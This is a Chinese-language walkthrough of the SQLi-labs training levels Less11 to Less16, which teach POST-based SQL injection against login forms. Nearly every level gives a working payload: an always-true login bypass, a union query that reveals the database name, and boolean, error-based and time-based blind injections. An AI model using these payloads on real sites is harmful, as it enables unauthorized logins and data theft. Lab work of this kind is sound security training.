Less11
这一关开始使用post注入,什么是post注入呢?
就是数据从客户端提交
到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,
提交到服务器后服务器再进行验证。这就是一次 post 的过程的。
当我们输入
1 | username:admin' |
显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
这里我们可以在输入框输入万能密码来尝试一下。
这里username
输入:admin'or'1'='1#
,密码随意
返回的正确的结果,那么原因是什么呢?我们在background-1
中已经其实提到了,逻辑运算的部分中已经讲解了原理。
当我们提交username
和password
后,后台形成的sql
语句为
1 | @$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and password='$passwd' LIMIT 0,1"; |
在#以后的内容就被注释掉,前面的内容因为or 1=1恒成立,所以语句就成立,我们此时以admin的用户登录。那么接下来我们尝试用get注入中用到的其他的语句代替or 1=1进行注入。
这里我们用 union 注入进行尝试:
1 | Username:1admin'union select 1,database()# |
可以看到显示了database
为security
,这是我们比较常用的手法。
还可以利用其他的方法进行注入
Less12
本关于11不同之处在于,id参数使用了”)过滤。
1 | username:admin")# |
Less13
本关id参数使用了’)过滤。
1 | username:admin')# |
我们可以明显的看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。那我们这里可以用下布尔类型的盲注。
猜测数据库第一位:
1 | uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit |
登录成功,就这样可以挨着对每一位进行测试,less5
中我们已经讲到了这个过程了,这里就不重复了。
在按位进行猜解的过程中,可以利用二分法,可以有效的降低尝试次
数
Less14
本关id参数使用了”过滤。
1 | uname=admin"#&passwd=1&submit=Submit |
登录成功,同样没有输入结果,这里使用报错盲注演示一下:
1 | uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit |
可以看到报错了,显示版本信息
Less15
本关id参数使用了’过滤,且没有错误提示,那么我们只能靠猜测进行盲注。
1 | uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit |
正确的时候可以直接登录,不正确的时候延时 5 秒。其他payload参考Less9
Less16
本关和Less15的处理方法是一样的,同样使用延时注入的方法进行解决。不同的是id参数使用了”)的处理
1 | uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit |
正确的时候可以直接登录,不正确的时候延时 5 秒。其他payload参考Less9